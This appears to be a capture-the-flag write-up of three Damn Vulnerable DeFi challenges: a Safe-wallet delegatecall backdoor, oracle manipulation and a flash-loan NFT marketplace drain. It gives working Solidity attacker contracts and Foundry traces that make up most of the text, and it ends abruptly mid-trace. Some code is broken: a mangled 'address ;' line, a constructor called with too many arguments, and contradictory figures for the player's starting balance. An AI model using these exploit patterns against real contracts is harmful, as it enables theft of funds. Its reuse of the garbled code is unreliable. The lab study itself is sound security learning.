GITHUB: View

Backdoor Challenge

Challenge Overview:

In this challenge, we are given a contract called WalletRegistry, which rewards users for creating a Safe wallet (a type of smart wallet). For each wallet registered, the registry sends 10 DVT tokens to the new wallet.

There are 4 users already registered as beneficiaries:

  1. Alice
  2. Bob
  3. Charlie
  4. David

The registry holds 40 DVT tokens in total (10 per user). Your goal:

    Exploit the system and transfer all 40 DVT tokens to a recovery address — in a single transaction.

Vulnerability Explaination:

The core idea is to trick the wallet creation logic into executing malicious code during the setup of a new Safe wallet.

Here’s the catch:

  1. When creating a new wallet via the SafeProxyFactory, there’s an initializer parameter.

  2. This initializer is used to delegatecall to any contract during the Safe’s setup.

  3. This delegatecall runs in the context of the Safe, meaning it can modify the Safe’s storage (including approvals).

Even though the Safe looks like it’s owned by Alice/Bob/etc., we (the attacker) can inject a delegatecall that approves us to move funds on behalf of the new wallet.

VulnerableCode(in WalletRegistry.sol):

if (bytes4(initializer[:4]) != Safe.setup.selector) {
    revert InvalidInitialization();
}

This just checks the initializer calls setup() but doesn’t validate the delegateCall target address. Also:

//// During setup, it executes this.delegateCall(to, data)

So you can provide:

  1. to = address(attacker_contract)

  2. data = abi.encodeCall(attacker.approveTokens(…))

Which runs your function inside the Safe!

That’s the backdoor.

Exploit Strategy:

  1. Deploy an attacker contract with a function that:
function approveTokens(DamnValuableToken token, address attacker) external {
    token.approve(attacker, type(uint256).max);
}

  1. For each beneficiary:

    Use the legitimate SafeProxyFactory to create a Safe wallet.

    Inside the initializer, embed a delegatecall to our attacker contract.

    The delegatecall causes the newly created Safe wallet to approve us.

  2. As soon as the wallet is created:

    The registry automatically transfers 10 tokens to it.

    Immediately use transferFrom to steal the tokens from the new wallet.

  3. Repeat for all 4 users → collect 40 DVT → send to recovery address.

All in a single transaction

Exploit Code:

// challenge contract

 function test_backdoor() public checkSolvedByPlayer {
        //because the challenge only accept if there is a single transation
        BackDoorAttacker scater = new BackDoorAttacker(
            token,
            singletonCopy /*Safe wallet  */,
            walletFactory,
            users,
            recovery,
            walletRegistry,
            AMOUNT_TOKENS_DISTRIBUTED /*40 ether*/
        );
        scater.attack();
    }

//attacker Contract
contract BackDoorAttacker {
    Safe singletonCopy;
    SafeProxyFactory walletFactory;
    DamnValuableToken token;
    WalletRegistry walletRegistry;
    address[] beneficiaries;
    address recovery;

    constructor(
        DamnValuableToken _token,
        Safe _singletonCopy,
        SafeProxyFactory _walletFactory,
        address[] memory _beneficiaries,
        address _recovery,
        WalletRegistry _walletRegistry
    ) {
        token = _token;
        singletonCopy = _singletonCopy;
        walletFactory = _walletFactory;
        walletRegistry = _walletRegistry;
        beneficiaries = _beneficiaries;
        recovery = _recovery;
    }

    function approveTokens(DamnValuableToken _token, address spender) external {
        _token.approve(spender, type(uint256).max);
    }

    function attack() external {
        for (uint i = 0; i < beneficiaries.length; i++) {
            address ;
            owners[0] = beneficiaries[i];

            bytes memory delegateCallData = abi.encodeCall(
                this.approveTokens,
                (token, address(this))
            );

            bytes memory initializer = abi.encodeCall(
                Safe.setup,
                (
                    owners,
                    1,
                    address(this),
                    delegateCallData,
                    address(0),
                    address(0),
                    0,
                    payable(address(0))
                )
            );

            SafeProxy proxy = walletFactory.createProxyWithCallback(
                address(singletonCopy),
                initializer,
                1,
                walletRegistry
            );

            token.transferFrom(address(proxy), address(this), token.balanceOf(address(proxy)));
        }

        token.transfer(recovery, token.balanceOf(address(this)));
    }
}

Proof of Exploit:

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.03ms (3.22ms CPU time)

Ran 1 test suite in 36.77ms (6.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)


 VM::getNonce(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C]) [staticcall]
    │   └─ ← [Return] 1
    ├─ [0] VM::assertEq(1, 1, "Player executed more than one tx") [staticcall]
    │   └─ ← [Return]
    ├─ [964] WalletRegistry::wallets(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
    │   └─ ← [Return] SafeProxy: [0x638586a520Cf7fe0D5d26d42Ce6148dE4Dc2F433]
    ├─ [0] VM::assertTrue(true, "User didn't register a wallet") [staticcall]
    │   └─ ← [Return]
    ├─ [856] WalletRegistry::beneficiaries(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
    │   └─ ← [Return] false
    ├─ [0] VM::assertFalse(false) [staticcall]
    │   └─ ← [Return]
    ├─ [964] WalletRegistry::wallets(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]) [staticcall]
    │   └─ ← [Return] SafeProxy: [0x7033C5922DB65A6DD48D061076431d61403490A3]
    ├─ [0] VM::assertTrue(true, "User didn't register a wallet") [staticcall]
    │   └─ ← [Return]
    ├─ [856] WalletRegistry::beneficiaries(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]) [staticcall]
    │   └─ ← [Return] false
    ├─ [0] VM::assertFalse(false) [staticcall]
    │   └─ ← [Return]
    ├─ [964] WalletRegistry::wallets(charlie: [0xea475d60c118d7058beF4bDd9c32bA51139a74e0]) [staticcall]
    │   └─ ← [Return] SafeProxy: [0x983670C08Fd8C3e1B8A02520c8040B9550a81bb8]
    ├─ [0] VM::assertTrue(true, "User didn't register a wallet") [staticcall]
    │   └─ ← [Return]
    ├─ [856] WalletRegistry::beneficiaries(charlie: [0xea475d60c118d7058beF4bDd9c32bA51139a74e0]) [staticcall]
    │   └─ ← [Return] false
    ├─ [0] VM::assertFalse(false) [staticcall]
    │   └─ ← [Return]
    ├─ [964] WalletRegistry::wallets(david: [0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b]) [staticcall]
    │   └─ ← [Return] SafeProxy: [0x4B435f00E7cec80ac91d5dd13982629a35Ce63A1]
    ├─ [0] VM::assertTrue(true, "User didn't register a wallet") [staticcall]
    │   └─ ← [Return]
    ├─ [856] WalletRegistry::beneficiaries(david: [0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b]) [staticcall]
    │   └─ ← [Return] false
    ├─ [0] VM::assertFalse(false) [staticcall]
    │   └─ ← [Return]
    ├─ [802] DamnValuableToken::balanceOf(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa]) [staticcall]
    │   └─ ← [Return] 40000000000000000000 [4e19]
    ├─ [0] VM::assertEq(40000000000000000000 [4e19], 40000000000000000000 [4e19]) [staticcall]
    │   └─ ← [Return]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.03ms (3.22ms CPU time)

Conclusion:

This challenge teaches the danger of blindly allowing delegatecall in contract initialization. Just one line of unchecked delegatecall during setup gave us full control over the Safe wallet..

Key Lessons:

  1. Delegatecall executes in the caller’s storage context — be cautious!

  2. Validating the function selector (setup.selector) is not enough — also validate who and what it calls.

  3. Safe contracts and proxy patterns are powerful, but they need careful initialization logic.


Compromised Challenge

Challenge Overview:

A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.

This price is fetched from an on-chain oracle, based on three trusted sources (reporters):

  • 0x188Ea627E3531Db590e6f1D71ED83628d1933088
  • 0xA417D473c40a4d42BAd35f147c21eEa7973539D8
  • 0xab3600bF153A316dE44827e2473056d56B774a40

Starting with just 0.1 ETH, the goal is to:

  • Drain all 999 ETH from the Exchange contract
  • Send it to the designated recovery address

Vulnerability Explanation:

The price of the NFT (DVNFT) is determined by the median value submitted by the three trusted oracles. If an attacker controls or compromises two of the three sources, they can fully control the median price.

In this challenge, the two oracle addresses were compromised by leaked private keys encoded in the binary (in the real challenge). By simulating this compromise, we can:

  1. Post a very low price (0 ETH) to buy the NFT for almost free
  2. Post a very high price (~999 ETH) to sell it back and drain the exchange

This is a classic oracle manipulation attack.


Vulnerable Code:

// This function used to change the oracle price ,if more than half of the prices change then control the prices 
//@audit this function to restrict to change the prices
function postPrice(
        string calldata symbol,
        uint256 newPrice
    ) external onlyRole(TRUSTED_SOURCE_ROLE) {
        _setPrice(msg.sender, symbol, newPrice);
    }
    //calculate the median after changing the prices(this case we can change two prices using above functioon we can manipulate the prices)


Since there are only 3 sources, compromising any 2 of them gives full control over the oracle’s output.

Exploit Strategy:

  1. Use the compromised sources to post a price of 0 ETH

  2. Call exchange.buyOne() to buy the NFT cheaply

  3. Update the price via compromised sources to 999 ETH

  4. Approve and sell the NFT back using exchange.sellOne()

  5. Collect(Attacker contract)the ETH proceeds and send them to recovery

Exploit Code:

// test_compromised function 
 function test_compromised() public checkSolved {
        address source1 = sources[0];
        address source2 = sources[1];
        OracleAttacker oracleAttacker = new OracleAttacker{
            value: address(this).balance
        }(oracle, exchange, nft, recovery);

        vm.prank(source1);
        oracle.postPrice(symbols[0], 0);
        vm.prank(source2);
        oracle.postPrice(symbols[1], 0);

        oracleAttacker.buy(); //buy the NFT for 0 wei

        vm.prank(source1);
        oracle.postPrice(symbols[0], EXCHANGE_INITIAL_ETH_BALANCE);
        vm.prank(source2);
        oracle.postPrice(symbols[1], EXCHANGE_INITIAL_ETH_BALANCE);

        oracleAttacker.sell(); //sell the NFT
        oracleAttacker.recovery(EXCHANGE_INITIAL_ETH_BALANCE); //transfer all the balance to the recovery address
    }

    //Attacker contract to exploit
    contract OracleAttacker is IERC721Receiver {
    TrustfulOracle private oracle;
    Exchange private exchange;
    DamnValuableNFT private token;
    address Recovery;
    uint256 public nft_id;

    constructor(
        TrustfulOracle _oracle,
        Exchange _exchange,
        DamnValuableNFT _nft,
        address _recovery
    ) payable {
        oracle = _oracle;
        exchange = _exchange;
        token = _nft;
        Recovery = _recovery;
    }

    //buy and sell the NFT to hijack the tokens and send to the recovery account

    function buy() external payable {
        nft_id = exchange.buyOne{value: 1}(); //attacker contract buy the NFT for 0 wei
    }

    function sell() external {
        token.approve(address(exchange), nft_id);//transfer nft from this contract to exchange contract
        exchange.sellOne(nft_id);
    }

    function recovery(uint256 amount) external {
        payable(Recovery).transfer(amount); //transfer all the balance from this contract  to the recovery address
    }

    //used for  ERC721 tokens accepting in this contract 
    function onERC721Received(
        address /*operator*/,
        address /*from*/,
        uint256 /*tokenId*/,
        bytes calldata /*data*/
    ) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }

    receive() external payable {}
}

Proof of Exploit:

  1. Exchange’s ETH balance becomes 0

  2. Recovery address receives 999 ETH

  3. Player does not own any NFTs

  4. NFT price is restored back to 999 ETH

nithin@ScateR:~/SCATERLABs/CTFs/Dam-vulnerable-Defi$ forge test --match-test test_compromised -vvvv
[] Compiling...
No files changed, compilation skipped
Ran 1 test for test/compromised/Compromised.t.sol:CompromisedChallenge
[PASS] test_compromised() (gas: 674881)
Traces:
  [765681] CompromisedChallenge::test_compromised()
    ├─ [396323] → new OracleAttacker@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   └─ ← [Return] 1531 bytes of code
    ├─ [0] VM::prank(0x188Ea627E3531Db590e6f1D71ED83628d1933088)
    │   └─ ← [Return]
    ├─ [11977] TrustfulOracle::postPrice("DVNFT", 0)
    │   ├─ emit UpdatedPrice(source: 0x188Ea627E3531Db590e6f1D71ED83628d1933088, symbol: 0xc96df5ffc4b60595a3fe27a88456d253b504d73a51f5a4abf3dc9d13f057d1c9, oldPrice: 999000000000000000000 [9.99e20], newPrice: 0)
    │   └─ ← [Stop]
    ├─ [0] VM::prank(0xA417D473c40a4d42BAd35f147c21eEa7973539D8)
    │   └─ ← [Return]
    ├─ [11977] TrustfulOracle::postPrice("DVNFT", 0)
    │   ├─ emit UpdatedPrice(source: 0xA417D473c40a4d42BAd35f147c21eEa7973539D8, symbol: 0xc96df5ffc4b60595a3fe27a88456d253b504d73a51f5a4abf3dc9d13f057d1c9, oldPrice: 999000000000000000000 [9.99e20], newPrice: 0)
    │   └─ ← [Stop]
    ├─ [126851] OracleAttacker::buy()
    │   ├─ [114616] Exchange::buyOne{value: 1}()
    │   │   ├─ [3418] DamnValuableNFT::symbol() [staticcall]
    │   │   │   └─ ← [Return] "DVNFT"
    │   │   ├─ [16213] TrustfulOracle::getMedianPrice("DVNFT") [staticcall]
    │   │   │   └─ ← [Return] 0
    │   │   ├─ [75167] DamnValuableNFT::safeMint(OracleAttacker: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f])
    │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: OracleAttacker: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], tokenId: 0)
    │   │   │   ├─ [1259] OracleAttacker::onERC721Received(Exchange: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], 0x0000000000000000000000000000000000000000, 0, 0x)
    │   │   │   │   └─ ← [Return] 0x150b7a02
    │   │   │   └─ ← [Return] 0
    │   │   ├─ [55] OracleAttacker::receive{value: 1}()
    │   │   │   └─ ← [Stop]
    │   │   ├─ emit TokenBought(buyer: OracleAttacker: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], tokenId: 0, price: 0)
    │   │   └─ ← [Return] 0
    │   └─ ← [Stop]
    ├─ [0] VM::prank(0x188Ea627E3531Db590e6f1D71ED83628d1933088)
    │   └─ ← [Return]
    ├─ [5177] TrustfulOracle::postPrice("DVNFT", 999000000000000000000 [9.99e20])
    │   ├─ emit UpdatedPrice(source: 0x188Ea627E3531Db590e6f1D71ED83628d1933088, symbol: 0xc96df5ffc4b60595a3fe27a88456d253b504d73a51f5a4abf3dc9d13f057d1c9, oldPrice: 0, newPrice: 999000000000000000000 [9.99e20])
    │   └─ ← [Stop]
    ├─ [0] VM::prank(0xA417D473c40a4d42BAd35f147c21eEa7973539D8)
    │   └─ ← [Return]
    ├─ [5177] TrustfulOracle::postPrice("DVNFT", 999000000000000000000 [9.99e20])
    │   ├─ emit UpdatedPrice(source: 0xA417D473c40a4d42BAd35f147c21eEa7973539D8, symbol: 0xc96df5ffc4b60595a3fe27a88456d253b504d73a51f5a4abf3dc9d13f057d1c9, oldPrice: 0, newPrice: 999000000000000000000 [9.99e20])
    │   └─ ← [Stop]
    ├─ [88512] OracleAttacker::sell()
    │   ├─ [25464] DamnValuableNFT::approve(Exchange: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], 0)
    │   │   ├─ emit Approval(owner: OracleAttacker: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], approved: Exchange: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], tokenId: 0)
    │   │   └─ ← [Stop]
    │   ├─ [61137] Exchange::sellOne(0)
    │   │   ├─ [1051] DamnValuableNFT::ownerOf(0) [staticcall]
    │   │   │   └─ ← [Return] OracleAttacker: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]
    │   │   ├─ [1332] DamnValuableNFT::getApproved(0) [staticcall]
    │   │   │   └─ ← [Return] Exchange: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264]
    │   │   ├─ [1418] DamnValuableNFT::symbol() [staticcall]
    │   │   │   └─ ← [Return] "DVNFT"
    │   │   ├─ [6213] TrustfulOracle::getMedianPrice("DVNFT") [staticcall]
    │   │   │   └─ ← [Return] 999000000000000000000 [9.99e20]
    │   │   ├─ [29511] DamnValuableNFT::transferFrom(OracleAttacker: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], Exchange: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], 0)
    │   │   │   ├─ emit Transfer(from: OracleAttacker: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], to: Exchange: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], tokenId: 0)
    │   │   │   └─ ← [Stop]
    │   │   ├─ [4162] DamnValuableNFT::burn(0)
    │   │   │   ├─ emit Transfer(from: Exchange: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], to: 0x0000000000000000000000000000000000000000, tokenId: 0)
    │   │   │   └─ ← [Stop]
    │   │   ├─ [55] OracleAttacker::receive{value: 999000000000000000000}()
    │   │   │   └─ ← [Stop]
    │   │   ├─ emit TokenSold(seller: OracleAttacker: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], tokenId: 0, price: 999000000000000000000 [9.99e20])
    │   │   └─ ← [Stop]
    │   └─ ← [Stop]
    ├─ [34939] OracleAttacker::recovery(999000000000000000000 [9.99e20])
    │   ├─ [0] recovery::fallback{value: 999000000000000000000}()
    │   │   └─ ← [Stop]
    │   └─ ← [Stop]
    ├─ [0] VM::assertEq(0, 0) [staticcall]
    │   └─ ← [Return]
    ├─ [0] VM::assertEq(999000000000000000000 [9.99e20], 999000000000000000000 [9.99e20]) [staticcall]
    │   └─ ← [Return]
    ├─ [2954] DamnValuableNFT::balanceOf(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C]) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::assertEq(0, 0) [staticcall]
    │   └─ ← [Return]
    ├─ [6213] TrustfulOracle::getMedianPrice("DVNFT") [staticcall]
    │   └─ ← [Return] 999000000000000000000 [9.99e20]
    ├─ [0] VM::assertEq(999000000000000000000 [9.99e20], 999000000000000000000 [9.99e20]) [staticcall]
    │   └─ ← [Return]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.35ms (1.85ms CPU time)

Ran 1 test suite in 27.58ms (5.35ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Free Rider Challenge:

Challenge Overview:

A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.

A critical vulnerability has been reported, claiming that all tokens can be taken. Yet the developers don’t know how to save them!

They’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way. The recovery process is managed by a dedicated smart contract.

You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more.

If only you could get free ETH, at least for an instant.

Simply: In this challenge, the player is given only 15 ETH and needs to rescue 6 NFTs from a vulnerable marketplace where each NFT is priced at 15 ETH. This seems impossible at first glance, as buying all NFTs would cost 90 ETH. However, by using a flash loan and exploiting a critical vulnerability in the marketplace contract, the attacker can obtain all NFTs and send them to a recovery contract in a single transaction.

Understanding onERC721Received in ERC-721 Token Transfers:

What I Learned:

I encountered this function in a smart contract security challenge. It is used to safely receive ERC-721 NFTs and contains several security checks and logic that executes once all required NFTs are received.

KeyFunction:

//this used for this challenge
function onERC721Received(
    address,
    address,
    uint256 _tokenId,
    bytes memory _data
) external override nonReentrant returns (bytes4) {
    if (msg.sender != address(nft)) {
        revert CallerNotNFT();
    }

    if (tx.origin != beneficiary) {
        revert OriginNotBeneficiary();
    }

    if (_tokenId > 5) {
        revert InvalidTokenID(_tokenId);
    }

    if (nft.ownerOf(_tokenId) != address(this)) {
        revert StillNotOwningToken(_tokenId);
    }

    if (++received == 6) {
        address recipient = abi.decode(_data, (address));
        payable(recipient).sendValue(bounty);
    }

    return IERC721Receiver.onERC721Received.selector;
}

What This Function Does:

  1. Handles NFT Transfers: This is triggered when the contract receives an NFT using safeTransferFrom.

  2. Security Checks:

    Only the official nft contract can call this.

    Only the original beneficiary can initiate the transfer (via tx.origin).

    The token ID must be in an allowed range (≤ 5).

    After transfer, the contract must own the NFT (protection against transfer failures).

  3. Bounty Logic: When 6 NFTs are received, it decodes the _data to get the recipient address and sends the bounty.

  4. NonReentrant Modifier: Protects against reentrancy attacks (critical when sending ETH).

Why It’s Important

Secure NFT logic is essential when building systems that use NFTs for access, voting, or ownership.

This code demonstrates a safe pattern for handling onERC721Received and verifying the source, token, and sender.

Vulnerability Explanation:

The core vulnerability lies in how the FreeRiderNFTMarketplace handles ETH payments. When someone buys an NFT, the contract transfers the ETH payment to the current owner of the NFT, which — during the exploit — happens to be the buyer themselves. This happens because the NFT is transferred to the buyer before the payment is made.

As a result:

  • The buyer buys an NFT.
  • The NFT is transferred to them.
  • Then the contract tries to pay the “seller” (who is now the buyer).
  • So the buyer gets refunded with their own ETH.
  • This allows them to repeat the process and buy all NFTs without actually spending ETH.

In other words, the attacker buys NFTs and immediately receives back the ETH paid, allowing them to acquire all NFTs essentially for free, using a flash loan for the initial capital.

Vulnerable Code:


// The attacker initiates the exploit by calling the buyMany() function using a flash loan of 15 ETH.
// These 15 ETH are cycled back to the buyer due to the contract logic, allowing repeated calls to buyMany()
// without spending additional ETH. This loop continues until all NFTs are acquired.
// Once all NFTs are collected, the attacker repays the flash loan along with the fee to the Uniswap pair.
// Finally, the remaining bounty reward of 45 ETH is transferred to the attacker’s (player’s) address as profit.

function buyMany(
        uint256[] calldata tokenIds
    ) external payable nonReentrant {
        for (uint256 i = 0; i < tokenIds.length; ++i) {
            unchecked {
                _buyOne(tokenIds[i]);
            }
        }
    }

   function _buyOne(uint256 tokenId) private {
        uint256 priceToPay = offers[tokenId];
        if (priceToPay == 0) {
            revert TokenNotOffered(tokenId);
        }

        if (msg.value < priceToPay) {
            revert InsufficientPayment();
        }

        --offersCount;

        // transfer from seller to buyer
        DamnValuableNFT _token = token; // cache for gas savings
        _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId); 

        // pay seller using cached token
        //@audit again eth send to the buyer(bug here)
        payable(_token.ownerOf(tokenId)).sendValue(priceToPay);

        emit NFTBought(msg.sender, tokenId, priceToPay);
    }

Exploiter Strategy:

The attacker uses a Uniswap flash loan to temporarily borrow 15 ETH worth of WETH, unwraps it to ETH, and uses it to buy all 6 NFTs one by one. Thanks to the vulnerability, each payment is refunded back, allowing re-use of the same ETH for all NFTs.

Steps:

  1. Borrow 15 ETH worth of WETH via flash loan.

  2. Unwrap WETH to ETH.

  3. Call buyMany() on the vulnerable marketplace.

  4. ETH used in each buy() is refunded to attacker.

  5. Transfer all NFTs to the recovery contract.

  6. Recovery Account pays the rewards to the player(45 ether)

  7. Repay the flash loan + fee.

Exploit Code:


  function test_freeRider() public checkSolvedByPlayer {
        FreeRiderAttacker rideAttack = new FreeRiderAttacker{value: 0.04 ether}(
            address(uniswapPair),
            address(marketplace),
            address(nft),
            address(recoveryManager),
            address(weth)
        );
        rideAttack.attack();
    }

//Attacker Contract

    interface IFreeRideMarket {
    function buyMany(uint256[] calldata tokenIds) external payable;
}

contract FreeRiderAttacker {
    IFreeRideMarket public market;
    IERC721 public nft;
    IWETH public weth;
    IUniswapV2Pair public uniswapPair;
    address public recoveryAccount;
    address public player;
    uint256 NFT_PRICE = 15 ether;
    uint256[] tokens = [0, 1, 2, 3, 4, 5];

    constructor(
        address _uniswapPair,
        address marketplace,
        address _nft,
        address recoveryManager,
        address _weth
    ) payable {
        market = IFreeRideMarket(marketplace);
        nft = IERC721(_nft);
        weth = IWETH(_weth);
        uniswapPair = IUniswapV2Pair(_uniswapPair);
        recoveryAccount = recoveryManager;
        player = msg.sender;
    }

    function attack() public {
        uniswapPair.swap(NFT_PRICE, 0, address(this), "0x"); //asking for flashLoan and call to the uniswapV2call
    }

    function uniswapV2Call(
        address,
        uint256, ///amount0,
        uint256, //amount1,
        bytes calldata
    ) external {
        require(msg.sender == address(uniswapPair), "Not Uniswap Pair");
        require(tx.origin == player, "Not Player");
        weth.withdraw(NFT_PRICE);
        market.buyMany{value: NFT_PRICE}(tokens); // i have only 15 ether but i can buy all the 6 nfts ,because of vulnerability in the marketplace
        bytes memory data = abi.encode(player);
        for (uint256 i = 0; i < tokens.length; i++) {
            nft.safeTransferFrom(address(this), recoveryAccount, i, data);
        }

        uint256 amountTopay = NFT_PRICE + ((NFT_PRICE * 3) / 997) + 1; //0.3%fee
        weth.deposit{value: amountTopay}();
        weth.transfer(address(uniswapPair), amountTopay);

        //why this is mandatory onERC721Received ?:
        // The Uniswap V2 pair will call this function to confirm the transfer of NFTs
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) external pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

Proof Of Exploit:

**using foundry tool to test the exploit **


Ran 1 test for test/free-rider/FreeRider.t.sol:FreeRiderChallenge
[PASS] test_freeRider() (gas: 1781734)
Traces:
  [1893334] FreeRiderChallenge::test_freeRider()
    ├─ [0] VM::startPrank(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C])
    │   └─ ← [Return]
    ├─ [1229179] → new FreeRiderAttacker@0xce110ab5927CC46905460D930CCa0c6fB4666219
    │   └─ ← [Return] 4681 bytes of code
    ├─ [522846] FreeRiderAttacker::attack()
    │   ├─ [518838] 0xb86E50e24Ba2B0907f281cF6AAc8C1f390030190::swap(15000000000000000000 [1.5e19], 0, FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 0x3078)
    │   │   ├─ [30307] WETH::transfer(FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 15000000000000000000 [1.5e19])
    │   │   │   ├─ emit Transfer(from: 0xb86E50e24Ba2B0907f281cF6AAc8C1f390030190, to: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], amount: 15000000000000000000 [1.5e19])
    │   │   │   └─ ← [Return] true
    │   │   ├─ [456454] FreeRiderAttacker::uniswapV2Call(FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 15000000000000000000 [1.5e19], 0, 0x3078)
    │   │   │   ├─ [16483] WETH::withdraw(15000000000000000000 [1.5e19])
    │   │   │   │   ├─ emit Transfer(from: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], to: 0x0000000000000000000000000000000000000000, amount: 15000000000000000000 [1.5e19])
    │   │   │   │   ├─ emit Withdrawal(to: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], amount: 15000000000000000000 [1.5e19])
    │   │   │   │   ├─ [55] FreeRiderAttacker::receive{value: 15000000000000000000}()
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [234831] FreeRiderNFTMarketplace::buyMany{value: 15000000000000000000}([0, 1, 2, 3, 4, 5])
    │   │   │   │   ├─ [3051] DamnValuableNFT::ownerOf(0) [staticcall]
    │   │   │   │   │   └─ ← [Return] deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946]
    │   │   │   │   ├─ [42284] DamnValuableNFT::safeTransferFrom(deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 0)
    │   │   │   │   │   ├─ emit Transfer(from: deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], to: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], tokenId: 0)
    │   │   │   │   │   ├─ [1756] FreeRiderAttacker::onERC721Received(FreeRiderNFTMarketplace: [0x9101223D33eEaeA94045BB2920F00BA0F7A475Bc], deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], 0, 0x)
    │   │   │   │   │   │   └─ ← [Return] 0x150b7a02
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   ├─ [1051] DamnValuableNFT::ownerOf(0) [staticcall]
    │   │   │   │   │   └─ ← [Return] FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219]
    │   │   │   │   ├─ [55] FreeRiderAttacker::receive{value: 15000000000000000000}()
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   ├─ emit NFTBought(buyer: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], tokenId: 0, price: 15000000000000000000 [1.5e19])
    │   │   │   │   ├─ [3051] DamnValuableNFT::ownerOf(1) [staticcall]
    │   │   │   │   │   └─ ← [Return] deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946]
    │   │   │   │   ├─ [13584] DamnValuableNFT::safeTransferFrom(deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 1)
    │   │   │   │   │   ├─ emit Transfer(from: deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], to: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], tokenId: 1)
    │   │   │   │   │   ├─ [1756] FreeRiderAttacker::onERC721Received(FreeRiderNFTMarketplace: [0x9101223D33eEaeA94045BB2920F00BA0F7A475Bc], deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], 1, 0x)
    │   │   │   │   │   │   └─ ← [Return] 0x150b7a02
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   ├─ [1051] DamnValuableNFT::ownerOf(1) [staticcall]
    │   │   │   │   │   └─ ← [Return] FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219]
    │   │   │   │   ├─ [55] FreeRiderAttacker::receive{value: 15000000000000000000}()
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   ├─ emit NFTBought(buyer: FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], tokenId: 1, price: 15000000000000000000 [1.5e19])
    │   │   │   │   ├─ [3051] DamnValuableNFT::ownerOf(2) [staticcall]
    │   │   │   │   │   └─ ← [Return] deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946]
    │   │   │   │   ├─ [13584] DamnValuableNFT::safeTransferFrom(deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], FreeRiderAttacker: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 2)
